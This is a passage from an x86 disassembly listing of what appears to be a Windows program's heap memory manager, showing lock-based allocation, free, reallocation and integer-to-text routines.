		mov	[ecx+14h], ebx
		mov	[ebx+4], ecx
		mov	byte ptr [ebx],	0
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_400017B4:				; CODE XREF: sub_40001734+28j
					; sub_40001734+C7j
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	short loc_4000175E
		add	ebx, 20h
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	short loc_4000175E
		add	ebx, 20h
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	short loc_4000175E
		sub	ebx, 40h
		push	0
		call	sub_400012D4	; Sleep
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	loc_4000175E
		push	0Ah
		call	sub_400012D4	; Sleep
		jmp	short loc_400017B4
; ---------------------------------------------------------------------------
		align 10h


loc_40001800:				; CODE XREF: sub_40001734+5Cj
		push	esi
		push	edi
		cmp	ds:byte_4001C04D, 0
		jz	short loc_4000183C


loc_4000180B:				; CODE XREF: sub_40001734+103j
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_4000183C
		push	0
		call	sub_400012D4	; Sleep
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_4000183C
		push	0Ah
		call	sub_400012D4	; Sleep
		jmp	short loc_4000180B
; ---------------------------------------------------------------------------
		align 4


loc_4000183C:				; CODE XREF: sub_40001734+D5j
					; sub_40001734+E4j ...
		movsx	esi, byte ptr [ebx+1]
		and	esi, ds:dword_4001C724
		jz	short loc_400018B8
		bsf	eax, esi
		lea	esi, ds:0[eax*8]
		mov	ecx, ds:dword_4001C728[eax*4]
		bsf	ecx, ecx
		lea	ecx, [ecx+esi*4]
		lea	edi, off_4001C7A8[ecx*8]
		mov	esi, [edi+4]
		mov	edx, [esi+4]
		mov	[edi+4], edx
		mov	[edx], edi
		cmp	edi, edx
		jnz	short loc_4000188C
		mov	edx, 0FFFFFFFEh
		rol	edx, cl
		and	ds:dword_4001C728[eax*4], edx
		jnz	short loc_4000188C
		btr	ds:dword_4001C724, eax


loc_4000188C:				; CODE XREF: sub_40001734+13Fj
					; sub_40001734+14Fj
		mov	edi, 0FFFFFFF0h
		and	edi, [esi-4]
		cmp	edi, 10A60h
		jb	short loc_40001908
		mov	edx, edi
		movzx	edi, word ptr [ebx+1Ah]
		sub	edx, edi
		lea	eax, [edi+esi]
		lea	ecx, [edx+3]
		mov	[eax-4], ecx
		mov	[edx+eax-8], edx
		call	sub_40001510
		jmp	short loc_4000190D
; ---------------------------------------------------------------------------


loc_400018B8:				; CODE XREF: sub_40001734+112j
		movzx	ecx, word ptr [ebx+18h]
		mov	edi, ds:dword_4001C720
		cmp	edi, ecx
		jb	short loc_400018EC
		mov	esi, ds:dword_4001C71C
		movzx	ecx, word ptr [ebx+1Ah]
		lea	edx, [ecx+0B30h]
		cmp	edi, edx
		jb	short loc_400018DC
		mov	edi, ecx


loc_400018DC:				; CODE XREF: sub_40001734+1A4j
		sub	esi, edi
		sub	ds:dword_4001C720, edi
		mov	ds:dword_4001C71C, esi
		jmp	short loc_4000190D
; ---------------------------------------------------------------------------


loc_400018EC:				; CODE XREF: sub_40001734+190j
		movzx	eax, word ptr [ebx+1Ah]
		mov	edi, eax
		call	sub_400015DC
		mov	esi, eax
		test	eax, eax
		jnz	short loc_4000190D
		mov	ds:byte_4001C718, al
		mov	[ebx], al
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001908:				; CODE XREF: sub_40001734+166j
		and	byte ptr [edi+esi-4], 0F7h


loc_4000190D:				; CODE XREF: sub_40001734+182j
					; sub_40001734+1B6j ...
		lea	ecx, [edi+6]
		mov	[esi-4], ecx
		xor	eax, eax
		mov	ds:byte_4001C718, al
		mov	[esi], ebx
		mov	[esi+8], eax
		mov	dword ptr [esi+0Ch], 1
		mov	[ebx+10h], esi
		lea	eax, [esi+20h]
		movzx	ecx, word ptr [ebx+2]
		lea	edx, [ecx+eax]
		mov	[ebx+8], edx
		add	edi, esi
		sub	edi, ecx
		mov	[ebx+0Ch], edi
		mov	byte ptr [ebx],	0
		mov	[eax-4], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001948:				; CODE XREF: sub_40001734+240j
					; sub_40001734+260j
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001996
		push	0
		call	sub_400012D4	; Sleep
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001996
		push	0Ah
		call	sub_400012D4	; Sleep
		jmp	short loc_40001948
; ---------------------------------------------------------------------------
		align 4


loc_40001978:				; CODE XREF: sub_40001734+12j
		cmp	eax, 40A2Ch
		ja	loc_40001A90
		lea	ebx, [eax+0D3h]
		and	ebx, 0FFFFFF00h
		add	ebx, 30h
		test	cl, cl
		jnz	short loc_40001948


loc_40001996:				; CODE XREF: sub_40001734+221j
					; sub_40001734+237j
		lea	edx, [ebx-0B30h]
		mov	ecx, edx
		shr	edx, 0Dh
		shr	ecx, 8
		mov	eax, 0FFFFFFFFh
		shl	eax, cl
		and	eax, ds:dword_4001C728[edx*4]
		jz	short loc_400019C0
		and	ecx, 0FFFFFFE0h
		bsf	eax, eax
		or	ecx, eax
		jmp	short loc_40001A1C
; ---------------------------------------------------------------------------
		align 10h


loc_400019C0:				; CODE XREF: sub_40001734+27Ej
		mov	eax, 0FFFFFFFEh
		mov	ecx, edx
		shl	eax, cl
		and	eax, ds:dword_4001C724
		jz	short loc_400019E8
		bsf	edx, eax
		mov	eax, ds:dword_4001C728[edx*4]
		bsf	ecx, eax
		mov	eax, edx
		shl	eax, 5
		or	ecx, eax
		jmp	short loc_40001A1C
; ---------------------------------------------------------------------------
		align 4


loc_400019E8:				; CODE XREF: sub_40001734+29Bj
		mov	ecx, ds:dword_4001C720
		sub	ecx, ebx
		jb	short loc_40001A0C
		mov	eax, ds:dword_4001C71C
		sub	eax, ebx
		mov	ds:dword_4001C71C, eax
		mov	ds:dword_4001C720, ecx
		or	ebx, 2
		mov	[eax-4], ebx
		jmp	short loc_40001A13
; ---------------------------------------------------------------------------


loc_40001A0C:				; CODE XREF: sub_40001734+2BCj
		mov	eax, ebx
		call	sub_400015DC


loc_40001A13:				; CODE XREF: sub_40001734+2D6j
		mov	ds:byte_4001C718, 0
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001A1C:				; CODE XREF: sub_40001734+288j
					; sub_40001734+2B1j
		push	esi
		push	edi
		lea	edi, off_4001C7A8[ecx*8]
		mov	esi, [edi+4]
		mov	eax, [esi+4]
		mov	[edi+4], eax
		mov	[eax], edi
		cmp	edi, eax
		jnz	short loc_40001A4B
		mov	eax, 0FFFFFFFEh
		rol	eax, cl
		and	ds:dword_4001C728[edx*4], eax
		jnz	short loc_40001A4B
		btr	ds:dword_4001C724, edx


loc_40001A4B:				; CODE XREF: sub_40001734+2FEj
					; sub_40001734+30Ej
		mov	edi, 0FFFFFFF0h
		and	edi, [esi-4]
		mov	edx, edi
		sub	edx, ebx
		jz	short loc_40001A78
		lea	eax, [ebx+esi]
		lea	ecx, [edx+3]
		mov	[eax-4], ecx
		mov	[edx+eax-8], edx
		cmp	edx, 0B30h
		jb	short loc_40001A7D
		call	sub_40001510
		jmp	short loc_40001A7D
; ---------------------------------------------------------------------------
		align 4


loc_40001A78:				; CODE XREF: sub_40001734+323j
		and	byte ptr [edi+esi-4], 0F7h


loc_40001A7D:				; CODE XREF: sub_40001734+338j
					; sub_40001734+33Fj
		lea	ecx, [ebx+2]
		mov	[esi-4], ecx
		mov	ds:byte_4001C718, 0
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001A90:				; CODE XREF: sub_40001734+249j
		pop	ebx
		test	eax, eax
		jns	sub_40001694
		xor	eax, eax
		retn
sub_40001734	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40001A9C	proc near		; CODE XREF: sub_40001C7C+48p
					; sub_40001C7C+8Cp ...
		mov	edx, [eax-4]
		test	dl, 7
		mov	ecx, eax
		push	ebx
		mov	bl, ds:byte_4001C04D
		jnz	loc_40001B7C
		test	bl, bl
		mov	ebx, [edx]
		jnz	short loc_40001B18


loc_40001AB7:				; CODE XREF: sub_40001A9C+85j
					; sub_40001A9C+9Bj
		sub	dword ptr [edx+0Ch], 1
		mov	eax, [edx+8]
		jz	short loc_40001AEC
		test	eax, eax
		mov	[edx+8], ecx
		lea	eax, [eax+1]
		mov	[ecx-4], eax
		jz	short loc_40001AD4
		xor	eax, eax
		mov	[ebx], al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001AD4:				; CODE XREF: sub_40001A9C+2Fj
		mov	ecx, [ebx+4]
		mov	[edx+14h], ebx
		mov	[edx+4], ecx
		mov	[ecx+14h], edx
		mov	[ebx+4], edx
		mov	byte ptr [ebx],	0
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001AEC:				; CODE XREF: sub_40001A9C+22j
		test	eax, eax
		jz	short loc_40001B03
		mov	eax, [edx+14h]
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	[ecx+14h], eax
		xor	eax, eax
		cmp	[ebx+10h], edx
		jnz	short loc_40001B06


loc_40001B03:				; CODE XREF: sub_40001A9C+52j
		mov	[ebx+0Ch], eax


loc_40001B06:				; CODE XREF: sub_40001A9C+65j
		mov	[ebx], al
		mov	eax, edx
		mov	edx, [edx-4]
		mov	bl, ds:byte_4001C04D
		jmp	short loc_40001B85
; ---------------------------------------------------------------------------
		align 4


loc_40001B18:				; CODE XREF: sub_40001A9C+19j
					; sub_40001A9C+ACj
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	short loc_40001AB7
		push	ecx
		push	edx
		push	0
		call	sub_400012D4	; Sleep
		pop	edx
		pop	ecx
		mov	eax, 100h
		lock cmpxchg [ebx], ah
		jz	loc_40001AB7
		push	ecx
		push	edx
		push	0Ah
		call	sub_400012D4	; Sleep
		pop	edx
		pop	ecx
		jmp	short loc_40001B18
; ---------------------------------------------------------------------------
		align 4


loc_40001B4C:				; CODE XREF: sub_40001A9C+DCj
					; sub_40001A9C+F3j
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001B91
		push	0
		call	sub_400012D4	; Sleep
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001B91
		push	0Ah
		call	sub_400012D4	; Sleep
		jmp	short loc_40001B4C
; ---------------------------------------------------------------------------
		align 4


loc_40001B7C:				; CODE XREF: sub_40001A9C+Fj
		test	dl, 5
		jnz	loc_40001C6C


loc_40001B85:				; CODE XREF: sub_40001A9C+77j
		and	edx, 0FFFFFFF0h
		test	bl, bl
		mov	ebx, edx
		push	esi
		mov	esi, eax
		jnz	short loc_40001B4C


loc_40001B91:				; CODE XREF: sub_40001A9C+BDj
					; sub_40001A9C+D3j
		test	dword ptr [ebx+esi-4], 1
		mov	ecx, [ebx+esi-4]
		jnz	short loc_40001BD4
		or	ecx, 8
		mov	[ebx+esi-4], ecx


loc_40001BA6:				; CODE XREF: sub_40001A9C+146j
					; sub_40001A9C+14Dj
		test	byte ptr [esi-4], 8
		jnz	short loc_40001BEC


loc_40001BAC:				; CODE XREF: sub_40001A9C+15Dj
					; sub_40001A9C+166j
		cmp	ebx, 13FFF0h
		jz	short loc_40001C04
		lea	eax, [ebx+3]
		mov	[esi-4], eax
		mov	[ebx+esi-8], ebx
		mov	eax, esi
		mov	edx, ebx
		call	sub_40001510
		mov	ds:byte_4001C718, 0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001BD4:				; CODE XREF: sub_40001A9C+101j
		lea	eax, [ebx+esi]
		and	ecx, 0FFFFFFF0h
		add	ebx, ecx
		cmp	ecx, 0B30h
		jb	short loc_40001BA6
		call	sub_400014D0
		jmp	short loc_40001BA6
; ---------------------------------------------------------------------------
		align 4


loc_40001BEC:				; CODE XREF: sub_40001A9C+10Ej
		mov	ecx, [esi-8]
		sub	esi, ecx
		add	ebx, ecx
		cmp	ecx, 0B30h
		jb	short loc_40001BAC
		mov	eax, esi
		call	sub_400014D0
		jmp	short loc_40001BAC
; ---------------------------------------------------------------------------


loc_40001C04:				; CODE XREF: sub_40001A9C+116j
		cmp	ds:dword_4001C720, 13FFF0h
		jnz	short loc_40001C3C
		sub	esi, 10h
		mov	eax, [esi]
		mov	edx, [esi+4]
		mov	[eax+4], edx
		mov	[edx], eax
		mov	ds:byte_4001C718, 0
		push	8000h
		push	0
		push	esi
		call	sub_400012CC	; VirtualFree
		cmp	eax, 1
		sbb	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001C3C:				; CODE XREF: sub_40001A9C+172j
		lea	ebx, [esi+13FFF0h]
		call	sub_40001570
		mov	dword ptr [ebx-4], 2
		mov	ds:dword_4001C720, 13FFF0h
		mov	ds:dword_4001C71C, ebx
		mov	ds:byte_4001C718, 0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001C6C:				; CODE XREF: sub_40001A9C+E3j
		pop	ebx
		test	dl, 3
		jz	sub_400016F8
		mov	eax, 0FFFFFFFFh
		retn
sub_40001A9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40001C7C	proc near		; CODE XREF: sub_40002C54+Dp
					; DATA XREF: .data:off_4001A72Co
		mov	ecx, [eax-4]
		test	cl, 7
		push	ebx
		push	esi
		mov	esi, eax
		jnz	loc_40001D14
		mov	ebx, [ecx]
		movzx	ecx, word ptr [ebx+2]
		sub	ecx, 4
		cmp	ecx, edx
		jb	short loc_40001CD0
		lea	ebx, ds:40h[edx*4]
		cmp	ebx, ecx
		jb	short loc_40001CA8
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001CA8:				; CODE XREF: sub_40001C7C+26j
		mov	ebx, edx
		mov	eax, edx
		call	sub_40001734
		test	eax, eax
		jz	short loc_40001CCB
		mov	ecx, ebx
		mov	edx, eax
		mov	ebx, eax
		mov	eax, esi
		call	sub_400014B4
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebx


loc_40001CCB:				; CODE XREF: sub_40001C7C+37j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40001CD0:				; CODE XREF: sub_40001C7C+1Bj
		lea	ecx, [ecx+ecx+20h]
		push	edi
		mov	edi, edx
		xor	eax, eax
		sub	ecx, edx
		adc	eax, 0FFFFFFFFh
		and	eax, ecx
		add	eax, edx
		call	sub_40001734
		test	eax, eax
		jz	short loc_40001D0F
		cmp	edi, 40A2Ch
		jbe	short loc_40001CF6
		mov	[eax-8], edi


loc_40001CF6:				; CODE XREF: sub_40001C7C+75j
		movzx	ecx, word ptr [ebx+2]
		sub	ecx, 4
		mov	edx, eax
		mov	edi, eax
		mov	eax, esi
		call	dword ptr [ebx+1Ch]
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, edi


loc_40001D0F:				; CODE XREF: sub_40001C7C+6Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001D14:				; CODE XREF: sub_40001C7C+Aj
		test	cl, 5
		jnz	loc_40001F68
		mov	ebx, ecx
		and	ecx, 0FFFFFFF0h
		push	edi
		lea	edi, [ecx+eax]
		sub	ecx, 4
		and	ebx, 0Fh
		cmp	edx, ecx
		push	ebp
		ja	loc_40001E34
		lea	ebp, [edx+edx]
		cmp	ebp, ecx
		jb	short loc_40001D44
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001D44:				; CODE XREF: sub_40001C7C+BEj
		cmp	edx, 0B2Ch
		jnb	short loc_40001D5D
		cmp	ebp, 0B2Ch
		jb	loc_40001E0C
		mov	edx, 0B2Ch


loc_40001D5D:				; CODE XREF: sub_40001C7C+CEj
		lea	ebp, [edx+0D3h]
		and	ebp, 0FFFFFF00h
		add	ebp, 30h
		add	ecx, 4
		sub	ecx, ebp
		cmp	ds:byte_4001C04D, 0
		jz	short loc_40001DB4


loc_40001D7A:				; CODE XREF: sub_40001C7C+12Ej
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001DAC
		push	ecx
		push	0
		call	sub_400012D4	; Sleep
		pop	ecx
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001DAC
		push	ecx
		push	0Ah
		call	sub_400012D4	; Sleep
		pop	ecx
		jmp	short loc_40001D7A
; ---------------------------------------------------------------------------


loc_40001DAC:				; CODE XREF: sub_40001C7C+10Bj
					; sub_40001C7C+123j
		mov	ebx, 0Fh
		and	ebx, [esi-4]


loc_40001DB4:				; CODE XREF: sub_40001C7C+FCj
		or	ebx, ebp
		mov	[esi-4], ebx
		mov	ebx, ecx
		mov	edx, [edi-4]
		test	dl, 1
		jnz	short loc_40001DCC
		or	edx, 8
		mov	[edi-4], edx
		jmp	short loc_40001DE2
; ---------------------------------------------------------------------------
		align 4


loc_40001DCC:				; CODE XREF: sub_40001C7C+145j
		mov	eax, edi
		and	edx, 0FFFFFFF0h
		add	ebx, edx
		add	edi, edx
		cmp	edx, 0B30h
		jb	short loc_40001DE2
		call	sub_400014D0


loc_40001DE2:				; CODE XREF: sub_40001C7C+14Dj
					; sub_40001C7C+15Fj
		mov	[edi-8], ebx
		lea	eax, [ebx+3]
		mov	[esi+ebp-4], eax
		cmp	ebx, 0B30h
		jb	short loc_40001DFE
		lea	eax, [esi+ebp]
		mov	edx, ebx
		call	sub_40001510


loc_40001DFE:				; CODE XREF: sub_40001C7C+176j
		mov	ds:byte_4001C718, 0
		mov	eax, esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001E0C:				; CODE XREF: sub_40001C7C+D6j
		mov	edi, edx
		mov	eax, edx
		call	sub_40001734
		test	eax, eax
		jz	short loc_40001E2F
		mov	ebp, eax
		mov	edx, eax
		mov	eax, esi
		mov	ecx, edi
		call	sub_400014B4
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebp


loc_40001E2F:				; CODE XREF: sub_40001C7C+19Bj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001E34:				; CODE XREF: sub_40001C7C+B3j
		mov	eax, [edi-4]
		test	al, 1
		jz	loc_40001F20
		and	eax, 0FFFFFFF0h
		lea	ebp, [ecx+eax]
		cmp	edx, ebp
		ja	loc_40001F20
		cmp	ds:byte_4001C04D, 0
		jz	short loc_40001EA5


loc_40001E56:				; CODE XREF: sub_40001C7C+20Ej
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001E8C
		push	ecx
		push	edx
		push	0
		call	sub_400012D4	; Sleep
		pop	edx
		pop	ecx
		mov	eax, 100h
		lock cmpxchg ds:byte_4001C718, ah
		jz	short loc_40001E8C
		push	ecx
		push	edx
		push	0Ah
		call	sub_400012D4	; Sleep
		pop	edx
		pop	ecx
		jmp	short loc_40001E56
; ---------------------------------------------------------------------------


loc_40001E8C:				; CODE XREF: sub_40001C7C+1E7j
					; sub_40001C7C+201j
		mov	ebx, 0Fh
		and	ebx, [esi-4]
		mov	eax, [edi-4]
		test	al, 1
		jz	short loc_40001F19
		and	eax, 0FFFFFFF0h
		lea	ebp, [ecx+eax]
		cmp	edx, ebp
		ja	short loc_40001F19


loc_40001EA5:				; CODE XREF: sub_40001C7C+1D8j
		cmp	eax, 0B30h
		jb	short loc_40001EB7
		mov	eax, edi
		push	ecx
		push	edx
		call	sub_400014D0
		pop	edx
		pop	ecx


loc_40001EB7:				; CODE XREF: sub_40001C7C+22Ej
		mov	eax, ecx
		shr	eax, 2
		add	eax, ecx
		xor	edi, edi
		sub	eax, edx
		adc	edi, 0FFFFFFFFh
		and	eax, edi
		lea	eax, [edx+eax+0D3h]
		and	eax, 0FFFFFF00h
		add	eax, 30h
		lea	edx, [ebp+4]
		sub	edx, eax
		ja	short loc_40001EE8
		and	dword ptr [esi+ebp], 0FFFFFFF7h
		add	ebp, 4
		jmp	short loc_40001F04
; ---------------------------------------------------------------------------
		align 4


loc_40001EE8:				; CODE XREF: sub_40001C7C+25Fj
		mov	[esi+ebp-4], edx
		lea	edi, [edx+3]
		mov	[eax+esi-4], edi
		mov	ebp, eax
		cmp	edx, 0B30h
		jb	short loc_40001F04
		add	eax, esi
		call	sub_40001510


loc_40001F04:				; CODE XREF: sub_40001C7C+268j
					; sub_40001C7C+27Fj
		or	ebp, ebx
		mov	[esi-4], ebp
		mov	ds:byte_4001C718, 0
		mov	eax, esi


loc_40001F12:				; CODE XREF: sub_40001C7C+2C3j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_40001F19:				; CODE XREF: sub_40001C7C+21Dj
					; sub_40001C7C+227j
		mov	ds:byte_4001C718, 0


loc_40001F20:				; CODE XREF: sub_40001C7C+1BDj
					; sub_40001C7C+1CBj
		mov	eax, ecx
		shr	eax, 2
		add	eax, ecx
		xor	edi, edi
		sub	eax, edx
		adc	edi, 0FFFFFFFFh
		and	eax, edi
		add	eax, edx
		mov	ebp, eax
		mov	edi, ecx
		push	edx
		call	sub_40001734
		pop	edx
		test	eax, eax
		jz	short loc_40001F12
		cmp	ebp, 40A2Ch
		jbe	short loc_40001F4C
		mov	[eax-8], edx


loc_40001F4C:				; CODE XREF: sub_40001C7C+2CBj
		mov	ebp, eax
		mov	edx, eax
		mov	eax, esi
		mov	ecx, edi
		call	sub_40001484
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebp
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001F68:				; CODE XREF: sub_40001C7C+9Bj
		test	cl, 3
		jnz	loc_40001FFC
		sub	ecx, 18h
		cmp	edx, ecx
		jbe	short loc_40001FBC
		mov	eax, ecx
		shr	ecx, 2
		add	ecx, eax
		xor	eax, eax
		sub	ecx, edx
		adc	eax, 0FFFFFFFFh
		and	eax, ecx
		add	eax, edx
		mov	ebx, eax
		push	edx
		call	sub_40001734
		pop	edx
		test	eax, eax
		jz	short loc_40001FB9
		cmp	ebx, 40A2Ch
		jbe	short loc_40001FA2
		mov	[eax-8], edx


loc_40001FA2:				; CODE XREF: sub_40001C7C+321j
		mov	ecx, [esi-8]
		mov	ebx, eax
		mov	edx, eax
		mov	eax, esi
		call	sub_40001484
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebx


loc_40001FB9:				; CODE XREF: sub_40001C7C+319j
					; sub_40001C7C+357j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001FBC:				; CODE XREF: sub_40001C7C+2FAj
		shr	ecx, 1
		cmp	edx, ecx
		jb	short loc_40001FC8
		mov	[eax-8], edx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40001FC8:				; CODE XREF: sub_40001C7C+344j
		mov	ebx, edx
		mov	eax, edx
		call	sub_40001734
		test	eax, eax
		jz	short loc_40001FB9
		cmp	ebx, 40A2Ch
		jbe	short loc_40001FE0
		mov	[eax-8], ebx


loc_40001FE0:				; CODE XREF: sub_40001C7C+35Fj
		mov	ecx, ebx
		mov	ebx, eax
		mov	edx, eax
		mov	eax, esi
		call	sub_400014B4
		mov	eax, esi
		call	sub_40001A9C
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40001FFC:				; CODE XREF: sub_40001C7C+2EFj
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_40001C7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002004	proc near		; CODE XREF: .text:40002C0Cp
					; DATA XREF: .data:off_4001A730o
		push	ebx
		lea	ebx, [eax-1]
		and	ebx, 0FFFFFFFCh
		call	sub_40001734
		cmp	eax, 1
		sbb	ecx, ecx
		lea	edx, [ebx+eax]
		or	ebx, ecx
		cmp	ebx, 40A2Ch
		jnb	short loc_40002032
		neg	ebx
		fldz


loc_40002026:				; CODE XREF: sub_40002004+28j
		fst	qword ptr [ebx+edx]
		add	ebx, 8
		js	short loc_40002026
		mov	[edx], ecx
		ffree	st


loc_40002032:				; CODE XREF: sub_40002004+1Cj
		pop	ebx
		retn
sub_40002004	endp


; =============== S U B	R O U T	I N E =======================================



sub_40002034	proc near		; CODE XREF: sub_40002540+D1p
		mov	ecx, eax
		mov	edx, ecx
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 0FFFFFFF0h
		add	edx, ecx
		mov	eax, edx
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 0FFFFFFF0h
		test	edx, edx
		jnz	short locret_40002054
		xor	eax, eax

locret_40002054:			; CODE XREF: sub_40002034+1Cj
		retn
sub_40002034	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002058	proc near		; CODE XREF: sub_40002540+5Fp
		cmp	ds:dword_4001C720, 0
		jz	short loc_4000207B
		mov	edx, ds:dword_4001C71C
		cmp	edx, eax
		jb	short loc_4000207B
		mov	edx, eax
		add	edx, 140000h
		cmp	edx, ds:dword_4001C71C
		jnb	short loc_4000207F


loc_4000207B:				; CODE XREF: sub_40002058+7j
					; sub_40002058+11j
		add	eax, 10h
		retn
; ---------------------------------------------------------------------------


loc_4000207F:				; CODE XREF: sub_40002058+21j
		cmp	ds:dword_4001C720, 13FFF0h
		jz	short loc_40002092
		mov	eax, ds:dword_4001C71C
		jmp	short locret_40002094
; ---------------------------------------------------------------------------


loc_40002092:				; CODE XREF: sub_40002058+31j
		xor	eax, eax

locret_40002094:			; CODE XREF: sub_40002058+38j
		retn
sub_40002058	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002098	proc near		; CODE XREF: sub_400023F4+30p
		push	ebx
		push	esi
		mov	ebx, eax
		add	ebx, 20h
		mov	[edx], ebx
		mov	edx, [eax]
		cmp	eax, [edx+10h]
		jnz	short loc_400020B0
		mov	ebx, [edx+8]
		cmp	ebx, [edx+0Ch]
		jbe	short loc_400020C9


loc_400020B0:				; CODE XREF: sub_40002098+Ej
		mov	esi, eax
		mov	ebx, esi
		sub	ebx, 4
		mov	ebx, [ebx]
		and	ebx, 0FFFFFFF0h
		add	ebx, esi
		movzx	eax, word ptr [edx+2]
		sub	ebx, eax
		mov	[ecx], ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_400020C9:				; CODE XREF: sub_40002098+16j
		mov	eax, [edx+8]
		dec	eax
		mov	[ecx], eax
		pop	esi
		pop	ebx
		retn
sub_40002098	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400020D4	proc near		; CODE XREF: sub_40002540+20Bp
					; sub_40002540+226p ...
		push	edi
		mov	edi, edx
		add	eax, 1
		mov	edx, 89705F41h
		mul	edx
		shr	eax, 1Eh
		mov	ecx, edx
		and	edx, 1FFFFFFFh
		shr	ecx, 1Dh
		lea	edx, [edx+edx*4]
		add	edx, eax
		mov	eax, ecx
		or	eax, 30h
		mov	[edi], al
		mov	eax, edx
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 1Ch
		and	edx, 0FFFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 1Bh
		and	edx, 7FFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 1Ah
		and	edx, 3FFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 19h
		and	edx, 1FFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 18h
		and	edx, 0FFFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 17h
		and	edx, 7FFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 16h
		and	edx, 3FFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		lea	edx, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 15h
		and	edx, 1FFFFFh
		or	ecx, eax
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edx+edx*4]
		cmp	ecx, 1
		sbb	edi, 0FFFFFFFFh
		shr	eax, 14h
		or	eax, 30h
		mov	[edi], al
		lea	eax, [edi+1]
		pop	edi
		retn
